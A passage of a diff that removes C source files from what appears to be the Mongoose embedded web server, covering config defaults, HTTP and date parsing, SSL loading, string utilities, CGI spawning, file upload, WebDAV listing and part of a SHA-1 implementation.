"cgi_interpreter", NULL,
"protect_uri", NULL,
"authentication_domain", "mydomain.com",
"ssi_pattern", "**.shtml$|**.shtm$",
"access_log_file", NULL,
"enable_directory_listing", "yes",
"error_log_file", NULL,
"global_auth_file", NULL,
"index_files",
"index.html,index.htm,index.cgi,index.shtml,index.php,index.lp",
"enable_keep_alive", "no",
"access_control_list", NULL,
"extra_mime_types", NULL,
"listening_ports", "8080",
"document_root", NULL,
"ssl_certificate", NULL,
"num_threads", "50",
"run_as_user", NULL,
"url_rewrite_patterns", NULL,
"hide_files_patterns", NULL,
"request_timeout_ms", "30000",
NULL
};
const char **mg_get_valid_option_names(void) {
return config_options;
}
static int get_option_index(const char *name) {
int i;
for (i = 0; config_options[i * 2] != NULL; i++) {
if (strcmp(config_options[i * 2], name) == 0) {
return i;
}
}
return -1;
}
const char *mg_get_option(const struct mg_context *ctx, const char *name) {
int i;
if ((i = get_option_index(name)) == -1) {
return NULL;
} else if (ctx->config[i] == NULL) {
return "";
} else {
return ctx->config[i];
}
}
-49
View File
@@ -1,49 +0,0 @@
#include "internal.h"
static const char *month_names[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
// Convert month to the month number. Return -1 on error, or month number
static int get_month_index(const char *s) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(month_names); i++)
if (!strcmp(s, month_names[i]))
return i;
return -1;
}
static int num_leap_years(int year) {
return year / 4 - year / 100 + year / 400;
}
// Parse UTC date-time string, and return the corresponding time_t value.
static time_t parse_date_string(const char *datetime) {
static const unsigned short days_before_month[] = {
0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334
};
char month_str[32];
int second, minute, hour, day, month, year, leap_days, days;
time_t result = (time_t) 0;
if (((sscanf(datetime, "%d/%3s/%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%*3s, %d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d-%3s-%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6)) &&
year > 1970 &&
(month = get_month_index(month_str)) != -1) {
leap_days = num_leap_years(year) - num_leap_years(1970);
year -= 1970;
days = year * 365 + days_before_month[month] + (day - 1) + leap_days;
result = days * 24 * 3600 + hour * 3600 + minute * 60 + second;
}
return result;
}
-63
View File
@@ -1,63 +0,0 @@
#include "internal.h"
// Parse HTTP headers from the given buffer, advance buffer to the point
// where parsing stopped.
static void parse_http_headers(char **buf, struct mg_request_info *ri) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(ri->http_headers); i++) {
ri->http_headers[i].name = skip_quoted(buf, ":", " ", 0);
ri->http_headers[i].value = skip(buf, "\r\n");
if (ri->http_headers[i].name[0] == '\0')
break;
ri->num_headers = i + 1;
}
}
static int is_valid_http_method(const char *method) {
return !strcmp(method, "GET") || !strcmp(method, "POST") ||
!strcmp(method, "HEAD") || !strcmp(method, "CONNECT") ||
!strcmp(method, "PUT") || !strcmp(method, "DELETE") ||
!strcmp(method, "OPTIONS") || !strcmp(method, "PROPFIND")
|| !strcmp(method, "MKCOL");
}
// Parse HTTP request, fill in mg_request_info structure.
// This function modifies the buffer by NUL-terminating
// HTTP request components, header names and header values.
static int parse_http_message(char *buf, int len, struct mg_request_info *ri) {
int is_request, request_length = get_request_len(buf, len);
if (request_length > 0) {
// Reset attributes. DO NOT TOUCH is_ssl, remote_ip, remote_port
ri->remote_user = ri->request_method = ri->uri = ri->http_version = NULL;
ri->num_headers = 0;
buf[request_length - 1] = '\0';
// RFC says that all initial whitespaces should be ingored
while (*buf != '\0' && isspace(* (unsigned char *) buf)) {
buf++;
}
ri->request_method = skip(&buf, " ");
ri->uri = skip(&buf, " ");
ri->http_version = skip(&buf, "\r\n");
// HTTP message could be either HTTP request or HTTP response, e.g.
// "GET / HTTP/1.0 ...." or "HTTP/1.0 200 OK ..."
is_request = is_valid_http_method(ri->request_method);
if ((is_request && memcmp(ri->http_version, "HTTP/", 5) != 0) ||
(!is_request && memcmp(ri->request_method, "HTTP/", 5) != 0)) {
request_length = -1;
} else {
if (is_request) {
ri->http_version += 5;
}
parse_http_headers(&buf, ri);
}
}
return request_length;
}
static int parse_range_header(const char *header, int64_t *a, int64_t *b) {
return sscanf(header, "bytes=%" INT64_FMT "-%" INT64_FMT, a, b);
}
-178
View File
@@ -1,178 +0,0 @@
#include "internal.h"
#if !defined(NO_SSL)
// set_ssl_option() function updates this array.
// It loads SSL library dynamically and changes NULLs to the actual addresses
// of respective functions. The macros above (like SSL_connect()) are really
// just calling these functions indirectly via the pointer.
static struct ssl_func ssl_sw[] = {
{"SSL_free", NULL},
{"SSL_accept", NULL},
{"SSL_connect", NULL},
{"SSL_read", NULL},
{"SSL_write", NULL},
{"SSL_get_error", NULL},
{"SSL_set_fd", NULL},
{"SSL_new", NULL},
{"SSL_CTX_new", NULL},
{"SSLv23_server_method", NULL},
{"SSL_library_init", NULL},
{"SSL_CTX_use_PrivateKey_file", NULL},
{"SSL_CTX_use_certificate_file",NULL},
{"SSL_CTX_set_default_passwd_cb",NULL},
{"SSL_CTX_free", NULL},
{"SSL_load_error_strings", NULL},
{"SSL_CTX_use_certificate_chain_file", NULL},
{"SSLv23_client_method", NULL},
{"SSL_pending", NULL},
{"SSL_CTX_set_verify", NULL},
{"SSL_shutdown", NULL},
{NULL, NULL}
};
// Similar array as ssl_sw. These functions could be located in different lib.
static struct ssl_func crypto_sw[] = {
{"CRYPTO_num_locks", NULL},
{"CRYPTO_set_locking_callback", NULL},
{"CRYPTO_set_id_callback", NULL},
{"ERR_get_error", NULL},
{"ERR_error_string", NULL},
{NULL, NULL}
};
static pthread_mutex_t *ssl_mutexes;
static int sslize(struct mg_connection *conn, SSL_CTX *s, int (*func)(SSL *)) {
return (conn->ssl = SSL_new(s)) != NULL &&
SSL_set_fd(conn->ssl, conn->client.sock) == 1 &&
func(conn->ssl) == 1;
}
// Return OpenSSL error message
static const char *ssl_error(void) {
unsigned long err;
err = ERR_get_error();
return err == 0 ? "" : ERR_error_string(err, NULL);
}
static void ssl_locking_callback(int mode, int mutex_num, const char *file,
int line) {
(void) line;
(void) file;
if (mode & 1) { // 1 is CRYPTO_LOCK
(void) pthread_mutex_lock(&ssl_mutexes[mutex_num]);
} else {
(void) pthread_mutex_unlock(&ssl_mutexes[mutex_num]);
}
}
static unsigned long ssl_id_callback(void) {
return (unsigned long) pthread_self();
}
#if !defined(NO_SSL_DL)
static int load_dll(struct mg_context *ctx, const char *dll_name,
struct ssl_func *sw) {
union {void *p; void (*fp)(void);} u;
void *dll_handle;
struct ssl_func *fp;
if ((dll_handle = dlopen(dll_name, RTLD_LAZY)) == NULL) {
cry(fc(ctx), "%s: cannot load %s", __func__, dll_name);
return 0;
}
for (fp = sw; fp->name != NULL; fp++) {
#ifdef _WIN32
// GetProcAddress() returns pointer to function
u.fp = (void (*)(void)) dlsym(dll_handle, fp->name);
#else
// dlsym() on UNIX returns void *. ISO C forbids casts of data pointers to
// function pointers. We need to use a union to make a cast.
u.p = dlsym(dll_handle, fp->name);
#endif // _WIN32
if (u.fp == NULL) {
cry(fc(ctx), "%s: %s: cannot find %s", __func__, dll_name, fp->name);
return 0;
} else {
fp->ptr = u.fp;
}
}
return 1;
}
#endif // NO_SSL_DL
// Dynamically load SSL library. Set up ctx->ssl_ctx pointer.
static int set_ssl_option(struct mg_context *ctx) {
int i, size;
const char *pem;
// If PEM file is not specified and the init_ssl callback
// is not specified, skip SSL initialization.
if ((pem = ctx->config[SSL_CERTIFICATE]) == NULL) {
// MG_INIT_SSL
// ctx->callbacks.init_ssl == NULL) {
return 1;
}
#if !defined(NO_SSL_DL)
if (!load_dll(ctx, SSL_LIB, ssl_sw) ||
!load_dll(ctx, CRYPTO_LIB, crypto_sw)) {
return 0;
}
#endif // NO_SSL_DL
// Initialize SSL library
SSL_library_init();
SSL_load_error_strings();
if ((ctx->ssl_ctx = SSL_CTX_new(SSLv23_server_method())) == NULL) {
cry(fc(ctx), "SSL_CTX_new (server) error: %s", ssl_error());
return 0;
}
// If user callback returned non-NULL, that means that user callback has
// set up certificate itself. In this case, skip sertificate setting.
// MG_INIT_SSL
if (SSL_CTX_use_certificate_file(ctx->ssl_ctx, pem, 1) == 0 ||
SSL_CTX_use_PrivateKey_file(ctx->ssl_ctx, pem, 1) == 0) {
cry(fc(ctx), "%s: cannot open %s: %s", __func__, pem, ssl_error());
return 0;
}
if (pem != NULL) {
(void) SSL_CTX_use_certificate_chain_file(ctx->ssl_ctx, pem);
}
// Initialize locking callbacks, needed for thread safety.
// http://www.openssl.org/support/faq.html#PROG1
size = sizeof(pthread_mutex_t) * CRYPTO_num_locks();
if ((ssl_mutexes = (pthread_mutex_t *) malloc((size_t)size)) == NULL) {
cry(fc(ctx), "%s: cannot allocate mutexes: %s", __func__, ssl_error());
return 0;
}
for (i = 0; i < CRYPTO_num_locks(); i++) {
pthread_mutex_init(&ssl_mutexes[i], NULL);
}
CRYPTO_set_locking_callback(&ssl_locking_callback);
CRYPTO_set_id_callback(&ssl_id_callback);
return 1;
}
static void uninitialize_ssl(struct mg_context *ctx) {
int i;
if (ctx->ssl_ctx != NULL) {
CRYPTO_set_locking_callback(NULL);
for (i = 0; i < CRYPTO_num_locks(); i++) {
pthread_mutex_destroy(&ssl_mutexes[i]);
}
CRYPTO_set_locking_callback(NULL);
CRYPTO_set_id_callback(NULL);
}
}
#endif // !NO_SSL
-423
View File
@@ -1,423 +0,0 @@
#include "internal.h"
static void mg_strlcpy(register char *dst, register const char *src, size_t n) {
for (; *src != '\0' && n > 1; n--) {
*dst++ = *src++;
}
*dst = '\0';
}
static int lowercase(const char *s) {
return tolower(* (const unsigned char *) s);
}
static int mg_strncasecmp(const char *s1, const char *s2, size_t len) {
int diff = 0;
if (len > 0)
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0' && --len > 0);
return diff;
}
static int mg_strcasecmp(const char *s1, const char *s2) {
int diff;
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0');
return diff;
}
static char * mg_strndup(const char *ptr, size_t len) {
char *p;
if ((p = (char *) malloc(len + 1)) != NULL) {
mg_strlcpy(p, ptr, len + 1);
}
return p;
}
static char * mg_strdup(const char *str) {
return mg_strndup(str, strlen(str));
}
static const char *mg_strcasestr(const char *big_str, const char *small_str) {
int i, big_len = strlen(big_str), small_len = strlen(small_str);
for (i = 0; i <= big_len - small_len; i++) {
if (mg_strncasecmp(big_str + i, small_str, small_len) == 0) {
return big_str + i;
}
}
return NULL;
}
// Like snprintf(), but never returns negative value, or a value
// that is larger than a supplied buffer.
// Thanks to Adam Zeldis to pointing snprintf()-caused vulnerability
// in his audit report.
static int mg_vsnprintf(char *buf, size_t buflen, const char *fmt, va_list ap) {
int n;
if (buflen == 0) {
return 0;
}
n = vsnprintf(buf, buflen, fmt, ap);
if (n < 0) {
n = 0;
} else if (n >= (int) buflen) {
n = (int) buflen - 1;
}
buf[n] = '\0';
return n;
}
static int mg_snprintf(char *buf, size_t buflen,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(3, 4);
static int mg_snprintf(char *buf, size_t buflen, const char *fmt, ...) {
va_list ap;
int n;
va_start(ap, fmt);
n = mg_vsnprintf(buf, buflen, fmt, ap);
va_end(ap);
return n;
}
// Skip the characters until one of the delimiters characters found.
// 0-terminate resulting word. Skip the delimiter and following whitespaces.
// Advance pointer to buffer to the next word. Return found 0-terminated word.
// Delimiters can be quoted with quotechar.
static char *skip_quoted(char **buf, const char *delimiters,
const char *whitespace, char quotechar) {
char *p, *begin_word, *end_word, *end_whitespace;
begin_word = *buf;
end_word = begin_word + strcspn(begin_word, delimiters);
// Check for quotechar
if (end_word > begin_word) {
p = end_word - 1;
while (*p == quotechar) {
// If there is anything beyond end_word, copy it
if (*end_word == '\0') {
*p = '\0';
break;
} else {
size_t end_off = strcspn(end_word + 1, delimiters);
memmove (p, end_word, end_off + 1);
p += end_off; // p must correspond to end_word - 1
end_word += end_off + 1;
}
}
for (p++; p < end_word; p++) {
*p = '\0';
}
}
if (*end_word == '\0') {
*buf = end_word;
} else {
end_whitespace = end_word + 1 + strspn(end_word + 1, whitespace);
for (p = end_word; p < end_whitespace; p++) {
*p = '\0';
}
*buf = end_whitespace;
}
return begin_word;
}
// Simplified version of skip_quoted without quote char
// and whitespace == delimiters
static char *skip(char **buf, const char *delimiters) {
return skip_quoted(buf, delimiters, delimiters, 0);
}
// Return HTTP header value, or NULL if not found.
static const char *get_header(const struct mg_request_info *ri,
const char *name) {
int i;
for (i = 0; i < ri->num_headers; i++)
if (!mg_strcasecmp(name, ri->http_headers[i].name))
return ri->http_headers[i].value;
return NULL;
}
const char *mg_get_header(const struct mg_connection *conn, const char *name) {
return get_header(&conn->request_info, name);
}
// A helper function for traversing a comma separated list of values.
// It returns a list pointer shifted to the next value, or NULL if the end
// of the list found.
// Value is stored in val vector. If value has form "x=y", then eq_val
// vector is initialized to point to the "y" part, and val vector length
// is adjusted to point only to "x".
static const char *next_option(const char *list, struct vec *val,
struct vec *eq_val) {
if (list == NULL || *list == '\0') {
// End of the list
list = NULL;
} else {
val->ptr = list;
if ((list = strchr(val->ptr, ',')) != NULL) {
// Comma found. Store length and shift the list ptr
val->len = list - val->ptr;
list++;
} else {
// This value is the last one
list = val->ptr + strlen(val->ptr);
val->len = list - val->ptr;
}
if (eq_val != NULL) {
// Value has form "x=y", adjust pointers and lengths
// so that val points to "x", and eq_val points to "y".
eq_val->len = 0;
eq_val->ptr = (const char *) memchr(val->ptr, '=', val->len);
if (eq_val->ptr != NULL) {
eq_val->ptr++; // Skip over '=' character
eq_val->len = val->ptr + val->len - eq_val->ptr;
val->len = (eq_val->ptr - val->ptr) - 1;
}
}
}
return list;
}
// Perform case-insensitive match of string against pattern
static int match_prefix(const char *pattern, int pattern_len, const char *str) {
const char *or_str;
int i, j, len, res;
if ((or_str = (const char *) memchr(pattern, '|', pattern_len)) != NULL) {
res = match_prefix(pattern, or_str - pattern, str);
return res > 0 ? res :
match_prefix(or_str + 1, (pattern + pattern_len) - (or_str + 1), str);
}
i = j = 0;
res = -1;
for (; i < pattern_len; i++, j++) {
if (pattern[i] == '?' && str[j] != '\0') {
continue;
} else if (pattern[i] == '$') {
return str[j] == '\0' ? j : -1;
} else if (pattern[i] == '*') {
i++;
if (pattern[i] == '*') {
i++;
len = (int) strlen(str + j);
} else {
len = (int) strcspn(str + j, "/");
}
if (i == pattern_len) {
return j + len;
}
do {
res = match_prefix(pattern + i, pattern_len - i, str + j + len);
} while (res == -1 && len-- > 0);
return res == -1 ? -1 : j + res + len;
} else if (lowercase(&pattern[i]) != lowercase(&str[j])) {
return -1;
}
}
return j;
}
// Protect against directory disclosure attack by removing '..',
// excessive '/' and '\' characters
static void remove_double_dots_and_double_slashes(char *s) {
char *p = s;
while (*s != '\0') {
*p++ = *s++;
if (s[-1] == '/' || s[-1] == '\\') {
// Skip all following slashes, backslashes and double-dots
while (s[0] != '\0') {
if (s[0] == '/' || s[0] == '\\') {
s++;
} else if (s[0] == '.' && s[1] == '.') {
s += 2;
} else {
break;
}
}
}
}
*p = '\0';
}
void mg_url_encode(const char *src, char *dst, size_t dst_len) {
static const char *dont_escape = "._-$,;~()";
static const char *hex = "0123456789abcdef";
const char *end = dst + dst_len - 1;
for (; *src != '\0' && dst < end; src++, dst++) {
if (isalnum(*(const unsigned char *) src) ||
strchr(dont_escape, * (const unsigned char *) src) != NULL) {
*dst = *src;
} else if (dst + 2 < end) {
dst[0] = '%';
dst[1] = hex[(* (const unsigned char *) src) >> 4];
dst[2] = hex[(* (const unsigned char *) src) & 0xf];
dst += 2;
}
}
*dst = '\0';
}
int mg_url_decode(const char *src, int src_len, char *dst,
int dst_len, int is_form_url_encoded) {
int i, j, a, b;
#define HEXTOI(x) (isdigit(x) ? x - '0' : x - 'W')
for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
if (src[i] == '%' && i < src_len - 2 &&
isxdigit(* (const unsigned char *) (src + i + 1)) &&
isxdigit(* (const unsigned char *) (src + i + 2))) {
a = tolower(* (const unsigned char *) (src + i + 1));
b = tolower(* (const unsigned char *) (src + i + 2));
dst[j] = (char) ((HEXTOI(a) << 4) | HEXTOI(b));
i += 2;
} else if (is_form_url_encoded && src[i] == '+') {
dst[j] = ' ';
} else {
dst[j] = src[i];
}
}
dst[j] = '\0'; // Null-terminate the destination
return i >= src_len ? j : -1;
}
// Check whether full request is buffered. Return:
// -1 if request is malformed
// 0 if request is not yet fully buffered
// >0 actual request length, including last \r\n\r\n
static int get_request_len(const char *buf, int buf_len) {
int i;
for (i = 0; i < buf_len; i++) {
// Control characters are not allowed but >=128 is.
// Abort scan as soon as one malformed character is found;
// don't let subsequent \r\n\r\n win us over anyhow
if (!isprint(* (const unsigned char *) &buf[i]) && buf[i] != '\r' &&
buf[i] != '\n' && * (const unsigned char *) &buf[i] < 128) {
return -1;
} else if (buf[i] == '\n' && i + 1 < buf_len && buf[i + 1] == '\n') {
return i + 2;
} else if (buf[i] == '\n' && i + 2 < buf_len && buf[i + 1] == '\r' &&
buf[i + 2] == '\n') {
return i + 3;
}
}
return 0;
}
int mg_get_cookie(const char *cookie_header, const char *var_name,
char *dst, size_t dst_size) {
const char *s, *p, *end;
int name_len, len = -1;
if (dst == NULL || dst_size == 0) {
len = -2;
} else if (var_name == NULL || (s = cookie_header) == NULL) {
len = -1;
dst[0] = '\0';
} else {
name_len = (int) strlen(var_name);
end = s + strlen(s);
dst[0] = '\0';
for (; (s = mg_strcasestr(s, var_name)) != NULL; s += name_len) {
if (s[name_len] == '=') {
s += name_len + 1;
if ((p = strchr(s, ' ')) == NULL)
p = end;
if (p[-1] == ';')
p--;
if (*s == '"' && p[-1] == '"' && p > s + 1) {
s++;
p--;
}
if ((size_t) (p - s) < dst_size) {
len = p - s;
mg_strlcpy(dst, s, (size_t) len + 1);
} else {
len = -3;
}
break;
}
}
}
return len;
}
int mg_get_var(const char *data, size_t data_len, const char *name,
char *dst, size_t dst_len) {
const char *p, *e, *s;
size_t name_len;
int len;
if (dst == NULL || dst_len == 0) {
len = -2;
} else if (data == NULL || name == NULL || data_len == 0) {
len = -1;
dst[0] = '\0';
} else {
name_len = strlen(name);
e = data + data_len;
len = -1;
dst[0] = '\0';
// data is "var1=val1&var2=val2...". Find variable first
for (p = data; p + name_len < e; p++) {
if ((p == data || p[-1] == '&') && p[name_len] == '=' &&
!mg_strncasecmp(name, p, name_len)) {
// Point p to variable value
p += name_len + 1;
// Point s to the end of the value
s = (const char *) memchr(p, '&', (size_t)(e - p));
if (s == NULL) {
s = e;
}
assert(s >= p);
// Decode variable into destination buffer
len = mg_url_decode(p, (size_t)(s - p), dst, dst_len, 1);
// Redirect error code from -1 to -2 (destination buffer too small).
if (len == -1) {
len = -2;
}
break;
}
}
}
return len;
}
-105
View File
@@ -1,105 +0,0 @@
#include "internal.h"
#if !defined(_WIN32)
static int mg_stat(const char *path, struct file *filep) {
struct stat st;
filep->modification_time = (time_t) 0;
if (stat(path, &st) == 0) {
filep->size = st.st_size;
filep->modification_time = st.st_mtime;
filep->is_directory = S_ISDIR(st.st_mode);
// See https://github.com/cesanta/mongoose/issues/109
// Some filesystems report modification time as 0. Artificially
// bump it up to mark mg_stat() success.
if (filep->modification_time == (time_t) 0) {
filep->modification_time = (time_t) 1;
}
}
return filep->modification_time != (time_t) 0;
}
static void set_close_on_exec(int fd) {
fcntl(fd, F_SETFD, FD_CLOEXEC);
}
int mg_start_thread(mg_thread_func_t func, void *param) {
pthread_t thread_id;
pthread_attr_t attr;
int result;
(void) pthread_attr_init(&attr);
(void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
#if USE_STACK_SIZE > 1
// Compile-time option to control stack size, e.g. -DUSE_STACK_SIZE=16384
(void) pthread_attr_setstacksize(&attr, USE_STACK_SIZE);
#endif
result = pthread_create(&thread_id, &attr, func, param);
pthread_attr_destroy(&attr);
return result;
}
#ifndef NO_CGI
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
char *envblk, char *envp[], int fdin,
int fdout, const char *dir) {
pid_t pid;
const char *interp;
(void) envblk;
if ((pid = fork()) == -1) {
// Parent
send_http_error(conn, 500, http_500_error, "fork(): %s", strerror(ERRNO));
} else if (pid == 0) {
// Child
if (chdir(dir) != 0) {
cry(conn, "%s: chdir(%s): %s", __func__, dir, strerror(ERRNO));
} else if (dup2(fdin, 0) == -1) {
cry(conn, "%s: dup2(%d, 0): %s", __func__, fdin, strerror(ERRNO));
} else if (dup2(fdout, 1) == -1) {
cry(conn, "%s: dup2(%d, 1): %s", __func__, fdout, strerror(ERRNO));
} else {
// Not redirecting stderr to stdout, to avoid output being littered
// with the error messages.
(void) close(fdin);
(void) close(fdout);
// After exec, all signal handlers are restored to their default values,
// with one exception of SIGCHLD. According to POSIX.1-2001 and Linux's
// implementation, SIGCHLD's handler will leave unchanged after exec
// if it was set to be ignored. Restore it to default action.
signal(SIGCHLD, SIG_DFL);
interp = conn->ctx->config[CGI_INTERPRETER];
if (interp == NULL) {
(void) execle(prog, prog, NULL, envp);
cry(conn, "%s: execle(%s): %s", __func__, prog, strerror(ERRNO));
} else {
(void) execle(interp, interp, prog, NULL, envp);
cry(conn, "%s: execle(%s %s): %s", __func__, interp, prog,
strerror(ERRNO));
}
}
exit(EXIT_FAILURE);
}
return pid;
}
#endif // !NO_CGI
static int set_non_blocking_mode(SOCKET sock) {
int flags;
flags = fcntl(sock, F_GETFL, 0);
(void) fcntl(sock, F_SETFL, flags | O_NONBLOCK);
return 0;
}
#endif // _WIN32
-140
View File
@@ -1,140 +0,0 @@
#include "internal.h"
FILE *mg_upload(struct mg_connection *conn, const char *destination_dir,
char *path, int path_len) {
const char *content_type_header, *boundary_start;
char *buf, fname[1024], boundary[100], *s, *p;
int bl, n, i, j, headers_len, boundary_len, eof, buf_len, to_read, len = 0;
FILE *fp;
// Request looks like this:
//
// POST /upload HTTP/1.1
// Host: 127.0.0.1:8080
// Content-Length: 244894
// Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRVr
//
// ------WebKitFormBoundaryRVr
// Content-Disposition: form-data; name="file"; filename="accum.png"
// Content-Type: image/png
//
// <89>PNG
// <PNG DATA>
// ------WebKitFormBoundaryRVr
// Extract boundary string from the Content-Type header
if ((content_type_header = mg_get_header(conn, "Content-Type")) == NULL ||
(boundary_start = mg_strcasestr(content_type_header,
"boundary=")) == NULL ||
(sscanf(boundary_start, "boundary=\"%99[^\"]\"", boundary) == 0 &&
sscanf(boundary_start, "boundary=%99s", boundary) == 0) ||
boundary[0] == '\0') {
return NULL;
}
boundary_len = strlen(boundary);
bl = boundary_len + 4; // \r\n--<boundary>
// buf
// conn->buf |<--------- buf_len ------>|
// |=================|==========|===============|
// |<--request_len-->|<--len--->| |
// |<-----------data_len------->| conn->buf + conn->buf_size
buf = conn->buf + conn->request_len;
buf_len = conn->buf_size - conn->request_len;
len = conn->data_len - conn->request_len;
for (;;) {
// Pull in headers
assert(len >= 0 && len <= buf_len);
to_read = buf_len - len;
if (to_read > left_to_read(conn)) {
to_read = (int) left_to_read(conn);
}
while (len < buf_len &&
(n = pull(NULL, conn, buf + len, to_read)) > 0) {
len += n;
}
if ((headers_len = get_request_len(buf, len)) <= 0) {
break;
}
// Fetch file name.
fname[0] = '\0';
for (i = j = 0; i < headers_len; i++) {
if (buf[i] == '\r' && buf[i + 1] == '\n') {
buf[i] = buf[i + 1] = '\0';
// TODO(lsm): don't expect filename to be the 3rd field,
// parse the header properly instead.
sscanf(&buf[j], "Content-Disposition: %*s %*s filename=\"%1023[^\"]",
fname);
j = i + 2;
}
}
// Give up if the headers are not what we expect
if (fname[0] == '\0') {
break;
}
// Move data to the beginning of the buffer
assert(len >= headers_len);
memmove(buf, &buf[headers_len], len - headers_len);
len -= headers_len;
conn->data_len = conn->request_len + len;
// We open the file with exclusive lock held. This guarantee us
// there is no other thread can save into the same file simultaneously.
fp = NULL;
// Construct destination file name. Do not allow paths to have slashes.
s = fname;
if ((p = strrchr(fname, '/')) != NULL && p > s) s = p;
if ((p = strrchr(fname, '\\')) != NULL && p > s) s = p;
// Open file in binary mode. TODO: set an exclusive lock.
snprintf(path, path_len, "%s/%s", destination_dir, s);
if ((fp = fopen(path, "wb")) == NULL) {
break;
}
// Read POST data, write into file until boundary is found.
eof = n = 0;
do {
len += n;
for (i = 0; i < len - bl; i++) {
if (!memcmp(&buf[i], "\r\n--", 4) &&
!memcmp(&buf[i + 4], boundary, boundary_len)) {
// Found boundary, that's the end of file data.
fwrite(buf, 1, i, fp);
eof = 1;
memmove(buf, &buf[i + bl], len - (i + bl));
len -= i + bl;
break;
}
}
if (!eof && len > bl) {
fwrite(buf, 1, len - bl, fp);
memmove(buf, &buf[len - bl], bl);
len = bl;
}
to_read = buf_len - len;
if (to_read > left_to_read(conn)) {
to_read = (int) left_to_read(conn);
}
} while (!eof && (n = pull(NULL, conn, buf + len, to_read)) > 0);
conn->data_len = conn->request_len + len;
if (eof) {
rewind(fp);
return fp;
} else {
fclose(fp);
}
}
return NULL;
}
-30
View File
@@ -1,30 +0,0 @@
#include "internal.h"
// Return fake connection structure. Used for logging, if connection
// is not applicable at the moment of logging.
static struct mg_connection *fc(struct mg_context *ctx) {
static struct mg_connection fake_connection;
fake_connection.ctx = ctx;
// See https://github.com/cesanta/mongoose/issues/236
fake_connection.event.user_data = ctx->user_data;
return &fake_connection;
}
static void sockaddr_to_string(char *buf, size_t len,
const union usa *usa) {
buf[0] = '\0';
#if defined(USE_IPV6)
inet_ntop(usa->sa.sa_family, usa->sa.sa_family == AF_INET ?
(void *) &usa->sin.sin_addr :
(void *) &usa->sin6.sin6_addr, buf, len);
#elif defined(_WIN32)
// Only Windoze Vista (and newer) have inet_ntop()
strncpy(buf, inet_ntoa(usa->sin.sin_addr), len);
#else
inet_ntop(usa->sa.sa_family, (void *) &usa->sin.sin_addr, buf, len);
#endif
}
static void gmt_time_string(char *buf, size_t buf_len, time_t *t) {
strftime(buf, buf_len, "%a, %d %b %Y %H:%M:%S GMT", gmtime(t));
}
-61
View File
@@ -1,61 +0,0 @@
#include "internal.h"
// Writes PROPFIND properties for a collection element
static void print_props(struct mg_connection *conn, const char* uri,
struct file *filep) {
char mtime[64];
gmt_time_string(mtime, sizeof(mtime), &filep->modification_time);
conn->num_bytes_sent += mg_printf(conn,
"<d:response>"
"<d:href>%s</d:href>"
"<d:propstat>"
"<d:prop>"
"<d:resourcetype>%s</d:resourcetype>"
"<d:getcontentlength>%" INT64_FMT "</d:getcontentlength>"
"<d:getlastmodified>%s</d:getlastmodified>"
"</d:prop>"
"<d:status>HTTP/1.1 200 OK</d:status>"
"</d:propstat>"
"</d:response>\n",
uri,
filep->is_directory ? "<d:collection/>" : "",
filep->size,
mtime);
}
static void print_dav_dir_entry(struct de *de, void *data) {
char href[PATH_MAX];
char href_encoded[PATH_MAX];
struct mg_connection *conn = (struct mg_connection *) data;
mg_snprintf(href, sizeof(href), "%s%s",
conn->request_info.uri, de->file_name);
mg_url_encode(href, href_encoded, PATH_MAX-1);
print_props(conn, href_encoded, &de->file);
}
static void handle_propfind(struct mg_connection *conn, const char *path,
struct file *filep) {
const char *depth = mg_get_header(conn, "Depth");
conn->must_close = 1;
conn->status_code = 207;
mg_printf(conn, "HTTP/1.1 207 Multi-Status\r\n"
"Connection: close\r\n"
"Content-Type: text/xml; charset=utf-8\r\n\r\n");
conn->num_bytes_sent += mg_printf(conn,
"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<d:multistatus xmlns:d='DAV:'>\n");
// Print properties for the requested resource itself
print_props(conn, conn->request_info.uri, filep);
// If it is a directory, print directory entries too if Depth is not 0
if (filep->is_directory &&
!mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes") &&
(depth == NULL || strcmp(depth, "0") != 0)) {
scan_directory(conn, path, conn, &print_dav_dir_entry);
}
conn->num_bytes_sent += mg_printf(conn, "%s\n", "</d:multistatus>");
}
-309
View File
@@ -1,309 +0,0 @@
#include "internal.h"
#if defined(USE_WEBSOCKET)
// START OF SHA-1 code
// Copyright(c) By Steve Reid <steve@edmweb.com>
#define SHA1HANDSOFF
#if defined(__sun)
#include "solarisfixes.h"
#endif
union char64long16 { unsigned char c[64]; uint32_t l[16]; };
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
static uint32_t blk0(union char64long16 *block, int i) {
// Forrest: SHA expect BIG_ENDIAN, swap if LITTLE_ENDIAN
if (!is_big_endian()) {
block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) |
(rol(block->l[i], 8) & 0x00FF00FF);
}
return block->l[i];
}
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
^block->l[(i+2)&15]^block->l[i&15],1))
#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(block, i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
